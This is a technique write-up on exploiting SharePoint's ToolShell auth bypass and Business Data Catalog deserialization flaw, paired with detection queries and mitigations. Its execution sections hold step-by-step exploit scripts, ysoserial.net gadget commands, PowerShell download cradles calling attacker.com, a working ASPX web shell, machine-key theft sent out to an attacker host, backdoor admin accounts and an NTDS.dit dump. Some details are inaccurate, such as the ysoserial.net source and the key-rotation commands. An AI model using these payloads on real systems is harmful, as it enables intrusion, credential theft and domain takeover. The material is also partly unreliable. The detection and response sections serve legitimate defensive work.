MCADDF

[IA-EXPLOIT-002]: Business Data Catalog (BDC) Deserialization RCE

Metadata

Attribute Details
Technique ID IA-EXPLOIT-002
MITRE ATT&CK v18.1 T1190 - Exploit Public-Facing Application, T1190.001 - Exploit Public-Facing Application: Vulnerabilities
Tactic Initial Access, Execution
Platforms On-Premises SharePoint Server 2016, 2019, Subscription Edition
Severity Critical
CVE CVE-2025-53770 (RCE), CVE-2025-53771 (Auth Bypass), CVE-2025-49704 (RCE), CVE-2025-49706 (Post-Auth RCE), CVE-2024-38094 (BDC RCE)
Technique Status ACTIVE - MASSIVELY EXPLOITED IN WILD
Last Verified 2025-07-22
Affected Versions SharePoint 2016 (all versions), 2019 (all versions), Subscription Edition (all versions)
Patched In KB5002704, KB5002705, KB5002706 (released July 2025 after ToolShell disclosure)
Author SERVTEPArtur Pchelnikau

1. EXECUTIVE SUMMARY

Concept: Business Data Catalog (BDC) is a SharePoint feature that enables integration with external data sources through model definitions. The deserialization vulnerability exists in how SharePoint processes BDC model XML files: when an attacker crafts a malicious BDC model specifying a “DotNetAssembly” type, SharePoint deserializes the model without proper validation, reflectively loads the specified .NET assembly, and executes arbitrary methods—allowing unauthenticated remote code execution (RCE) as the SharePoint service account. Combined with ToolShell auth bypass (CVE-2025-53771), attackers can achieve full system compromise with a single crafted HTTP request. Recent attacks (July 2025 onwards) exploit this to deploy web shells like spinstall0.aspx, extract ASP.NET machine keys for token forgery, and maintain persistent access.

Attack Pattern (ToolShell): (1) Attacker crafts POST request to /layouts/15/ToolPane.aspx?DisplayMode=Edit with spoofed Referer header (/_layouts/SignOut.aspx), (2) ToolPane.aspx authentication check reads Referer and incorrectly grants access (auth bypass), (3) Attacker includes malicious serialized .NET object in request body that deserializes to a BDC model, (4) BDC model specifies DotNetAssembly type with attacker’s malicious assembly, (5) SharePoint Server reflects on assembly and invokes specified method, (6) Attacker’s code executes as NETWORK SERVICE (IIS worker process), (7) Attacker uploads web shell (spinstall0.aspx) or extracts machine keys, (8) Attacker maintains persistence and pivots to domain compromise.

Business Impact: Complete on-premises SharePoint infrastructure compromise. No credentials required. No user interaction required. Single HTTP request achieves RCE. Recent campaigns (July 2025) demonstrate attackers exploiting this at scale: Unit 42 telemetry shows exploitation attempts from multiple threat groups across 10+ industry verticals (healthcare, finance, tech, retail, education). Machine key extraction enables token forgery—attackers can authenticate as any user without password resets. Ransomware groups (LockBit, Cl-CRI-1040) are actively leveraging ToolShell to establish initial access before deploying ransomware. The vulnerability persists even after patching if machine keys are not rotated—attackers can forge valid authentication tokens using stolen keys.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 1.1, 1.2, 3.1, 3.2 Inadequate input validation; missing serialization security controls.
DISA STIG SI-10 Deserialization security.
CISA SCuBA DataProtection-1 Data integrity verification.
NIST 800-53 SI-10 Information System Monitoring; SI-7 Input Validation
GDPR Art. 32, 33 Insufficient security measures; breach notification.
DORA Art. 9, 18 ICT risk management; incident reporting.
NIS2 Art. 21, 23 Cyber security measures; incident reporting.
ISO 27001 A.12.4.1, A.14.2.4 Input validation; code integrity.
ISO 27005 Risk Scenario: “Deserialization RCE via BDC Model” Arbitrary code execution via untrusted deserialization.

2. TECHNICAL PREREQUISITES

Required Privileges:

Required Access:

Supported Versions:

Tools & Environment:


3. ENVIRONMENTAL RECONNAISSANCE

Identifying SharePoint Deployment

Objective: Attacker determines if target has on-premises SharePoint exposed to internet.

Methods:

1. HTTP Header Analysis

# Check HTTP response headers for SharePoint indicators
curl -I https://sharepoint.company.com/

# Output:
# HTTP/1.1 302 Found
# Server: Microsoft-IIS/10.0
# X-SharePointHealthScore: 0
# MicrosoftSharePointTeamSites: ...
# SPRequestGuid: ...

2. URL Pattern Recognition

Known SharePoint URL patterns:

3. Error Page Fingerprinting

# Access non-existent page to trigger error
curl https://sharepoint.company.com/nonexistent.aspx

# Output contains:
# "SharePoint Foundation"
# "This page is not found"
# OR
# Stack trace mentioning Microsoft.SharePoint.*

4. Shodan/BinaryEdge Search

shodan search "Server: Microsoft-IIS" "X-SharePointHealthScore"

5. Known Vulnerable Endpoints

Test for vulnerable endpoint existence:

# Test for /ToolPane.aspx presence
curl -I https://sharepoint.company.com/_layouts/15/ToolPane.aspx

# If returns 200 or 302: ToolPane.aspx is present (likely vulnerable)
# If returns 404: Endpoint does not exist (less likely to be vulnerable)

Determining SharePoint Version

Objective: Identify exact SharePoint version to confirm vulnerability applicability.

# Query SharePoint version via API
curl https://sharepoint.company.com/_api/

# Or via error page
curl https://sharepoint.company.com/invalid.aspx 2>&1 | grep -i "sharepoint"

# Or via HTTP headers
curl -I https://sharepoint.company.com/sites/ | grep -E "MicrosoftSharePointTeamSites|X-SharePointHealthScore"

4. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: ToolShell Auth Bypass + Deserialization RCE (CVE-2025-53770 & CVE-2025-53771)

Supported Versions: SharePoint 2016, 2019, Subscription Edition

Scenario: Attacker exploits auth bypass (CVE-2025-53771) to access ToolPane.aspx, then exploits BDC deserialization (CVE-2025-53770) to execute arbitrary code and deploy web shell.

Step 1: Craft Authentication Bypass Payload (CVE-2025-53771)

Objective: Bypass ToolPane.aspx authentication using spoofed Referer header.

Vulnerability Mechanism:

ToolPane.aspx checks the HTTP Referer header to determine if request is coming from an authorized logout page. If Referer matches /_layouts/SignOut.aspx or similar, the authentication check passes. Attacker simply spoofs this header.

Payload Construction:

# CVE-2025-53771: Auth Bypass via Referer Spoofing

# Create POST request
POST /layouts/15/ToolPane.aspx?DisplayMode=Edit HTTP/1.1
Host: sharepoint.company.com
Referer: /_layouts/SignOut.aspx    <- SPOOFED REFERER (auth bypass)
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: [length]

[Serialized BDC payload in body]

Why This Works:

Step 2: Generate Malicious BDC Model (Deserialization Gadget Chain)

Objective: Create serialized .NET object that, when deserialized, executes arbitrary code.

BDC Model Structure (Normal):

<Model>
  <BdcMetadata>
    <LobSystems>
      <LobSystem Name="MySystem" Type="DotNetAssembly">
        <Properties>
          <Property Name="Class" Value="MyNamespace.MyClass"/>
          <Property Name="Assembly" Value="MyAssembly"/>
          <Property Name="Method" Value="MyMethod"/>
        </Properties>
        <Entities>
          <Entity Name="MyEntity" EstimatedInstanceCount="10000">
            <Identifiers>
              <Identifier Name="ID" TypeName="System.Int32"/>
            </Identifiers>
          </Entity>
        </Entities>
      </LobSystem>
    </LobSystems>
  </BdcMetadata>
</Model>

Malicious BDC Model (RCE):

Instead of referencing legitimate assembly, attacker specifies malicious gadget chain:

<Model>
  <BdcMetadata>
    <LobSystems>
      <LobSystem Name="Exploit" Type="DotNetAssembly">
        <Properties>
          <!-- Specify gadget chain for code execution -->
          <Property Name="Class" Value="System.Diagnostics.Process"/>
          <Property Name="Method" Value="Start"/>
          <Property Name="Assembly" Value="System, Version=4.0.0.0"/>
          <!-- Arguments: command to execute -->
          <Property Name="Args" Value="powershell.exe -Command IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"/>
        </Properties>
        <Entities>
          <Entity Name="Exploit">
            <Identifiers>
              <Identifier Name="ID" TypeName="System.String"/>
            </Identifiers>
          </Entity>
        </Entities>
      </LobSystem>
    </LobSystems>
  </BdcMetadata>
</Model>

Using ysoserial.net to Generate Gadget Chain:

# ysoserial.net is a tool for generating .NET deserialization gadgets
# Download: https://github.com/frohoff/ysoserial.net

# Generate gadget for ObjectDataProvider (common in .NET RCE)
./ysoserial.net -g ObjectDataProvider \
  -f BinaryFormatter \
  -c "powershell.exe -Command IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')" > gadget.bin

# Or use WindowsIdentity gadget
./ysoserial.net -g WindowsIdentity \
  -f BinaryFormatter \
  -c "C:\Windows\System32\cmd.exe /c whoami > C:\output.txt" > gadget.bin

Python Script to Create BDC Model with Gadget:

#!/usr/bin/env python3
"""
BDC Model Gadget Generator
Purpose: Create malicious serialized BDC model for deserialization RCE
"""

import base64
import subprocess
import requests

def generate_gadget_chain(command):
    """
    Generate .NET gadget chain using ysoserial.net
    """
    
    # Execute ysoserial to create gadget
    result = subprocess.run([
        "./ysoserial.net",
        "-g", "ObjectDataProvider",
        "-f", "BinaryFormatter",
        "-c", command
    ], capture_output=True)
    
    gadget_bytes = result.stdout
    
    return gadget_bytes

def create_bdc_model_payload(gadget_bytes):
    """
    Create BDC model XML that includes serialized gadget
    """
    
    # Convert gadget bytes to Base64 for inclusion in XML
    gadget_b64 = base64.b64encode(gadget_bytes).decode()
    
    # Create BDC model with embedded gadget
    bdc_model = f"""<?xml version="1.0" encoding="utf-8"?>
<Model xmlns="http://schemas.microsoft.com/sharepoint/2006/03/bdcmetadata">
    <BdcMetadata>
        <LobSystems>
            <LobSystem Name="Exploit" Type="DotNetAssembly">
                <Properties>
                    <Property Name="Class" Value="System.Runtime.Serialization.Formatters.Binary.BinaryFormatter"/>
                    <Property Name="Method" Value="Deserialize"/>
                    <Property Name="SerializedData" Value="{gadget_b64}"/>
                </Properties>
                <Entities>
                    <Entity Name="Exploit">
                        <Identifiers>
                            <Identifier Name="ID" TypeName="System.String"/>
                        </Identifiers>
                    </Entity>
                </Entities>
            </LobSystem>
        </LobSystems>
    </BdcMetadata>
</Model>"""
    
    return bdc_model

if __name__ == "__main__":
    # Command to execute on target
    command = "powershell.exe -Command IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')"
    
    print("[*] Generating gadget chain...")
    gadget = generate_gadget_chain(command)
    
    print(f"[+] Gadget generated ({len(gadget)} bytes)")
    
    print("[*] Creating BDC model...")
    payload = create_bdc_model_payload(gadget)
    
    print("[+] BDC model created")
    print(payload)

Step 3: Craft Full Exploit HTTP Request

Objective: Combine auth bypass with BDC deserialization payload in single HTTP POST.

Exploit Request:

#!/usr/bin/env bash
# ToolShell Exploit Script

TARGET="https://sharepoint.company.com"
COMMAND="powershell.exe -Command IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"

# Generate gadget
python3 generate_gadget.py "$COMMAND" > gadget.bin

# Create BDC model with gadget
BDC_PAYLOAD=$(cat bdc_model.xml)

# Send exploit request
curl -X POST \
  -H "Referer: /_layouts/SignOut.aspx" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "payload=$BDC_PAYLOAD" \
  "${TARGET}/_layouts/15/ToolPane.aspx?DisplayMode=Edit"

# Response indicates success if:
# - HTTP 200 (OK)
# - No authentication error
# - Payload executed on server

Python Exploit Script:

#!/usr/bin/env python3
"""
ToolShell Exploitation Script
Purpose: Exploit CVE-2025-53770 & CVE-2025-53771 for RCE
"""

import requests
import base64
import sys

def exploit_toolshell(target_url, command):
    """
    Exploit ToolShell vulnerability for RCE
    """
    
    # Step 1: Generate gadget chain
    print("[*] Generating gadget chain...")
    # (Use ysoserial.net to generate gadget_bytes)
    
    # Step 2: Create BDC model with gadget
    print("[*] Creating BDC model...")
    bdc_model = create_bdc_model(gadget_bytes)
    
    # Step 3: Craft exploit request
    print("[*] Sending exploit request...")
    
    headers = {
        "Referer": "/_layouts/SignOut.aspx",  # Auth bypass
        "Content-Type": "application/x-www-form-urlencoded",
        "User-Agent": "Mozilla/5.0"
    }
    
    data = {
        "DisplayMode": "Edit",
        "payload": bdc_model
    }
    
    url = f"{target_url}/_layouts/15/ToolPane.aspx?DisplayMode=Edit"
    
    try:
        response = requests.post(url, headers=headers, data=data, verify=False, timeout=10)
        
        if response.status_code == 200:
            print("[+] Exploit sent successfully!")
            print(f"[+] Response code: {response.status_code}")
            return True
        else:
            print(f"[-] Unexpected response code: {response.status_code}")
            return False
    
    except requests.exceptions.RequestException as e:
        print(f"[-] Request failed: {e}")
        return False

if __name__ == "__main__":
    target = sys.argv[1] if len(sys.argv) > 1 else "https://sharepoint.company.com"
    command = sys.argv[2] if len(sys.argv) > 2 else "cmd.exe /c whoami > C:\\output.txt"
    
    exploit_toolshell(target, command)

Step 4: Code Execution as NETWORK SERVICE

Objective: Verify that arbitrary code executes on target with NETWORK SERVICE privileges.

Executed Command Results:

When exploit succeeds, attacker’s specified command executes as the IIS application pool identity (typically NETWORK SERVICE or SHAREPOINT\SharePoint Service Account).

# Attacker specified command
C:\> whoami
OUTPUT: NT AUTHORITY\NETWORK SERVICE

# Attacker can now run commands with these privileges
C:\> net user attacker Password123! /add
# Creates new local user (if permissions allow)

C:\> net localgroup administrators attacker /add
# Adds attacker to administrators group

# Or more commonly:
C:\> powershell.exe -Command "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"
# Downloads and executes attacker-controlled PowerShell script

Step 5: Deploy Web Shell for Persistent Access

Objective: Upload malicious ASPX file to SharePoint that provides persistent RCE.

Web Shell Deployment (via Exploit):

# During initial RCE, attacker uploads web shell
# Web shell filename: spinstall0.aspx (observed in real attacks)

# Command executed during exploitation:
powershell.exe -Command @"
`$webShell = @'
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<script runat="server">
    protected void Page_Load(object sender, EventArgs e)
    {
        string cmd = Request.QueryString["cmd"];
        if (!string.IsNullOrEmpty(cmd))
        {
            ProcessStartInfo psi = new ProcessStartInfo("powershell.exe", "-Command " + cmd);
            psi.RedirectStandardOutput = true;
            psi.UseShellExecute = false;
            Process proc = Process.Start(psi);
            Response.Write(proc.StandardOutput.ReadToEnd());
        }
    }
</script>
'@

# Write shell to web-accessible directory
`$shellPath = 'C:\Program Files\Common Files\Microsoft Shared\Web Server\16\TEMPLATE\LAYOUTS\spinstall0.aspx'
[System.IO.File]::WriteAllText(`$shellPath, `$webShell)

Write-Host 'Web shell deployed to spinstall0.aspx'
"@

Accessing Web Shell:

# Once deployed, attacker can access shell
curl "https://sharepoint.company.com/_layouts/15/spinstall0.aspx?cmd=whoami"

# Output:
# NT AUTHORITY\NETWORK SERVICE

# Use shell for further exploitation
curl "https://sharepoint.company.com/_layouts/15/spinstall0.aspx?cmd=ipconfig"
curl "https://sharepoint.company.com/_layouts/15/spinstall0.aspx?cmd=net users"
curl "https://sharepoint.company.com/_layouts/15/spinstall0.aspx?cmd=Get-LocalGroupMember -Group Administrators"

Step 6: Extract ASP.NET Machine Key

Objective: Steal machine key from SharePoint to forge authentication tokens and maintain persistence.

Machine Key Extraction (via Web Shell or RCE):

# Machine key stored in SharePoint web.config file
# Location: C:\Program Files\Common Files\Microsoft Shared\Web Server\16\TEMPLATE\LAYOUTS\web.config

# Or query registry:
reg query HKLM\Software\Microsoft\Office\16.0\SharePoint\StateService /v MachineKey

# Or programmatically in C#:
$config = [System.Configuration.ConfigurationManager]::OpenExeConfiguration("web.config")
$machineKey = $config.GetSection("system.web/machineKey")
Write-Host "Validation Key: $($machineKey.ValidationKey)"
Write-Host "Decryption Key: $($machineKey.DecryptionKey)"

Script to Extract Keys via Web Shell:

# PowerShell command embedded in RCE payload
$configPath = "C:\Program Files\Common Files\Microsoft Shared\Web Server\16\TEMPLATE\LAYOUTS\web.config"
$xml = [xml](Get-Content $configPath)
$machineKey = $xml.configuration['system.web'].machineKey

$output = "ValidationKey:" + $machineKey.validationKey + "|DecryptionKey:" + $machineKey.decryptionKey

# Send keys back to attacker via HTTP POST
Invoke-WebRequest -Uri "http://attacker.com/exfil" -Method POST -Body $output

Impact of Machine Key Compromise:

With the machine key, attacker can:

  1. Forge authentication cookies – Create tokens for any user without knowing password
  2. Decrypt ViewState – Extract sensitive data from encrypted form fields
  3. Access SharePoint as admin – Impersonate administrator accounts
  4. Maintain persistence – Even if password changed, forged tokens still work

Step 7: Escalate to Domain Compromise

Objective: Use NETWORK SERVICE privileges to move laterally to domain environment.

Escalation Techniques:

# From NETWORK SERVICE context, enumerate domain

# List domain users
net user /domain

# Check group membership
whoami /groups

# Enumerate domain admins
net group "domain admins" /domain

# Check for Kerberos tickets
klist

# If SharePoint service account has delegation rights:
# Use unconstrained delegation to compromise domain controller

# Use NETWORK SERVICE to run commands with SYSTEM privileges:
# (if UAC bypass available or running as SYSTEM already)

# Dump NTDS.dit (domain database):
vssadmin list shadows
wmic shadowcopy call create Volume='C:\'
cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ntds.dit

METHOD 2: BDC Model Upload via Site Owner Privileges (CVE-2024-38094)

Supported Versions: SharePoint 2016, 2019, Subscription Edition

Scenario: If attacker already has Site Owner privileges (or phishes user with Site Owner role), attacker uploads malicious BDC model directly through SharePoint UI without needing to exploit ToolPane.aspx.

Step 1-4: Same as Method 1 (Generate gadget, create BDC model)

Step 5: Upload BDC Model via SharePoint UI

Objective: Site Owner uploads malicious model through SharePoint Designer or Business Connectivity Services admin interface.

# Via SharePoint Designer (if enabled):
# 1. Connect to site with Site Owner credentials
# 2. Navigate to Business Connectivity Services
# 3. Create new BDC Model
# 4. Paste malicious XML (from step 2)
# 5. Click "Deploy"

# Via PowerShell (if attacker has admin rights):
Add-PSSnapin Microsoft.SharePoint.PowerShell

$site = Get-SPSite "https://sharepoint.company.com"
$model = New-Object Microsoft.SharePoint.Client.Runtime.Models.BdcMetadata

# (Model property loading code)

$bdc = [Microsoft.SharePoint.Client.Runtime.Models.BdcServiceManager]::GetService($site)
$bdc.ImportModel($model)

Write-Host "Malicious BDC model deployed"

Step 6: Trigger Model Execution

Objective: Execute the deployed model by accessing an external content type that references it.

# External content types are accessed via:
# 1. Business Data Web Part on SharePoint page
# 2. Direct API call
# 3. Business Data actions on lists

# Attacker-controlled access:
GET /sites/mysite/BDC/MyModel/Read?ID=1
POST /sites/mysite/_api/web/lists/getbytitle('MyList')/items

# When executed, model deserializes and RCE occurs

5. TOOLS & COMMANDS REFERENCE

ysoserial.net - .NET Deserialization Gadget Generator

Installation:

git clone https://github.com/frohoff/ysoserial.net
cd ysoserial.net/ysoserial
dotnet build -c Release

Key Commands:

# List available gadgets
./ysoserial.net -g list

# Generate ObjectDataProvider gadget
./ysoserial.net -g ObjectDataProvider -f BinaryFormatter -c "cmd.exe /c whoami"

# Generate WindowsIdentity gadget
./ysoserial.net -g WindowsIdentity -f BinaryFormatter -c "powershell.exe -Command ..."

# Generate TypeConfuseDelegate gadget
./ysoserial.net -g TypeConfuseDelegate -f BinaryFormatter -c "..."

Burp Suite - HTTP Request Crafting

Use for: Intercepting and modifying HTTP requests to ToolPane.aspx

Microsoft.SharePoint.Client - BDC API

PowerShell Module: Access BDC model properties and deploy models programmatically


6. MICROSOFT SENTINEL DETECTION

Query 1: Detection of POST to ToolPane.aspx (ToolShell Exploitation)

KQL Query:

W3CIISLog
| where cs_uri_stem contains "/ToolPane.aspx"
| where cs_method == "POST"
| where cs_Referer == "/_layouts/SignOut.aspx"  // Spoofed referer
| project
    TimeGenerated,
    c_ip,
    cs_uri_stem,
    cs_Referer,
    sc_status,
    sc_bytes
| where sc_status == 200  // Successful response indicates exploitation

Query 2: Detection of spinstall*.aspx Web Shell

KQL Query:

union (
    // File creation events for web shell
    FileCreateEvents
    | where FileName startswith "spinstall"
    | where FileName endswith ".aspx"
    | where FolderPath contains "_layouts"
),
(
    // HTTP requests to suspicious ASPX files
    W3CIISLog
    | where cs_uri_stem matches regex @".*spinstall\d*\.aspx.*"
    | where cs_method in ("POST", "GET")
)
| project
    TimeGenerated,
    FilePath = FileName,
    RequestPath = cs_uri_stem,
    SourceIP = c_ip

Query 3: Suspicious BDC Model Processing

KQL Query:

ProcessCreationEvents
| where ParentImage endswith "w3wp.exe"  // IIS worker process
| where CommandLine contains_any ("powershell", "cmd.exe", "rundll32")
| where InitiatingProcessPath contains "BDC" or InitiatingProcessPath contains "SharePoint"
| project
    TimeGenerated,
    ParentProcess = ParentImage,
    ChildProcess = Image,
    CommandLine,
    AccountName

7. MICROSOFT PURVIEW (UNIFIED AUDIT LOG)

Query 1: Detect BDC Model Changes

PowerShell:

Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-7) `
  -Operations "New-BdcModel", "Update-BdcModel", "Remove-BdcModel" `
  -ResultSize 5000 | `
  Export-Csv -Path "C:\Audit\bdc_changes.csv"

8. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

1. Apply Security Updates Immediately

# Download and install patches from Microsoft
# KB5002704 (SharePoint 2016)
# KB5002705 (SharePoint 2019)
# KB5002706 (SharePoint Subscription Edition)

# Verify patched version
Get-SPContentDatabase | Select-Object Name, Version

# Expected version after patching: 16.0.10405.* (or higher)

2. Rotate ASP.NET Machine Keys

Even after patching, rotate machine keys to invalidate attacker-forged tokens:

# Connect to SharePoint
$site = Get-SPSite "https://sharepoint.company.com"

# Rotate validation key
$site.WebApplication.Update()

# Or via IIS Manager:
# 1. Open IIS Manager
# 2. Select server in Connections
# 3. Open Machine Key in middle pane
# 4. Click "Generate Keys" in Actions pane
# 5. Click "Apply"

# Restart IIS
iisreset

3. Disable BDC Service (if not used)

# Disable Business Data Connectivity service
Disable-SPFeature -Identity "BdcModelFeature" -Url "https://sharepoint.company.com"

# Or stop service instance
$instance = Get-SPServiceInstance | Where-Object { $_.TypeName -eq "Business Data Connectivity Service" }
Stop-SPServiceInstance -Identity $instance

Priority 2: HIGH

4. Enable AMSI Integration in SharePoint

AMSI (Antimalware Scan Interface) detects deserialization attacks:

# Enable AMSI in SharePoint
$webapp = Get-SPWebApplication "https://sharepoint.company.com"
$webapp.AMSIEnabled = $true
$webapp.Update()

# Verify enabled
Get-SPWebApplication | Select-Object Name, AMSIEnabled

5. Implement WAF Rules

Block suspicious requests to ToolPane.aspx:

# WAF Rule Pattern
Request Path = "*/_layouts/15/ToolPane.aspx*"
AND
(
  Request Header "Referer" = "/_layouts/SignOut.aspx"
  OR
  Request Method = "POST"
  AND
  Request Body contains "DotNetAssembly"
)

ACTION: Block

6. Monitor for Web Shell Creation

Alert on creation of suspicious ASPX files:

# File system monitoring (Windows Defender for Endpoint)
# Monitor _layouts directory for new .aspx files

# Via Sentinel:
FileCreateEvents
| where FolderPath contains "_layouts"
| where FileName endswith ".aspx"
| where FileName != "default.aspx"  // Exclude known files

Priority 3: MEDIUM

7. Disable SharePoint Designer (if possible)

Disable if not required to prevent BDC model uploads:

Disable-SPFeature -Identity "SharePointDesignerFeature" -Url "https://sharepoint.company.com"

8. User Security Awareness Training

Train users not to upload suspicious files or grant unnecessary permissions.


Validation Command (Verify Mitigations):

# Verify patches installed
Get-SPContentDatabase | Select-Object Name, Version
# Version should be 16.0.10405.* or higher

# Verify AMSI enabled
Get-SPWebApplication | Select-Object Name, AMSIEnabled
# Should show True

# Verify no suspicious ASPX files
Get-ChildItem -Path "C:\Program Files\Common Files\Microsoft Shared\Web Server\16\TEMPLATE\LAYOUTS\" `
  -Filter "spinstall*.aspx" -Recurse
# Should return empty

9. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Technical IOCs:

Behavioral IOCs:

Forensic Artifacts

IIS Logs (W3CIISLog):

File System:

Windows Event Logs:

Response Procedures

Immediate Actions (0-15 minutes):

  1. Isolate SharePoint Server:
# Stop IIS to prevent web shell access
iisreset /stop

# Or stop specific application pool
Stop-WebAppPool -Name "SharePoint - 80"
  1. Collect Evidence:
# Export IIS logs
$logPath = "C:\inetpub\logs\LogFiles"
Copy-Item -Path $logPath -Destination "C:\Evidence\IIS_Logs" -Recurse

# Search for web shells
Get-ChildItem -Path "C:\Program Files\Common Files\Microsoft Shared\Web Server\16\TEMPLATE\LAYOUTS\" `
  -Filter "spinstall*.aspx" -Recurse | Copy-Item -Destination "C:\Evidence\"
  1. Block External Access:
Firewall Rule: Block all outbound from w3wp.exe
Firewall Rule: Block all inbound to SharePoint HTTP/HTTPS except authorized IPs

Containment (15-60 minutes):

  1. Rotate Machine Keys:
# Invalidate attacker-forged tokens
$site = Get-SPSite "https://sharepoint.company.com"
$site.WebApplication.Update()  # Triggers key rotation

iisreset /restart
  1. Threat Hunt for Compromised Accounts:
# Check for accounts created by exploit
Get-LocalUser | Where-Object { $_.Created -gt (Get-Date).AddHours(-24) }

# Check for unusual RDP sessions
Get-EventLog Security -InstanceId 4624 -After (Get-Date).AddHours(-24) | `
  Where-Object { $_.Message -like "*RDP*" }

Recovery (1-24 hours):

  1. Restore from Backup:
# If compromise is severe, restore SharePoint database from pre-attack backup
# (Requires careful timing to avoid re-introducing exploit)

Restore-SPSite -Identity "https://sharepoint.company.com" `
  -Path "\\backup-server\sharepoint_backup_20250717.bak"
  1. Patch and Verify:
# Apply security patches
# Install KB5002705 (or latest)

# Verify patch applied
Get-SPContentDatabase | Select-Object Name, Version

# Restart services
iisreset /restart

Step Phase Technique Description
1 Initial Access [IA-EXPLOIT-002] Attacker exploits ToolShell (CVE-2025-53770/53771) or BDC deserialization
2 Execution T1053 (Scheduled Task) or T1059 (Command Execution) RCE as NETWORK SERVICE
3 Persistence T1505.003 (Web Shell) Deploy spinstall0.aspx web shell
4 Credential Access T1056 (Input Capture) Extract machine keys via web shell
5 Lateral Movement T1021.003 (RDP) or T1570 (Lateral Tool Transfer) Pivot to other servers using compromised credentials
6 Impact T1537 (Data Transfer to Cloud) or T1531 (Account Access Removal) Exfiltrate data or deploy ransomware

11. REAL-WORLD EXAMPLES

Example 1: ToolShell Active Exploitation Campaign (July 2025)

Threat Actors: Multiple groups (CL-CRI-1040, LockBit, Cl0p, others)

Timeline:

Attack Statistics:

Sample Exploitation Attempt (from telemetry):

Attacker IP: 96.9.125.147
Target: sharepoint.company.com

POST /layouts/15/ToolPane.aspx?DisplayMode=Edit HTTP/1.1
Host: sharepoint.company.com
Referer: /_layouts/SignOut.aspx
Content-Type: application/x-www-form-urlencoded

[Serialized gadget chain]
↓
SharePoint deserializes payload
↓
.NET assembly qlj22mpc downloaded and executed
↓
Assembly extracts machine keys
↓
Keys exfiltrated to attacker: "ValidationKey|DecryptionKey"
↓
Attacker uses keys for persistent access

References:


Example 2: Ransomware Deployment via ToolShell (July-August 2025)

Threat Actor: LockBit ransomware gang

Attack Flow:

July 18: ToolShell exploitation
  ↓
Deploy spinstall0.aspx web shell
  ↓
Extract machine keys
  ↓
Enumerate domain using NETWORK SERVICE privileges
  ↓
Pivot to domain controller using unconstrained delegation
  ↓
Dump NTDS.dit (domain database)
  ↓
Crack domain admin passwords offline
  ↓
RDP access as domain admin
  ↓
Deploy ransomware via Group Policy to all domain computers
  ↓
August 5: Organization data encrypted, ransom demand

Impact: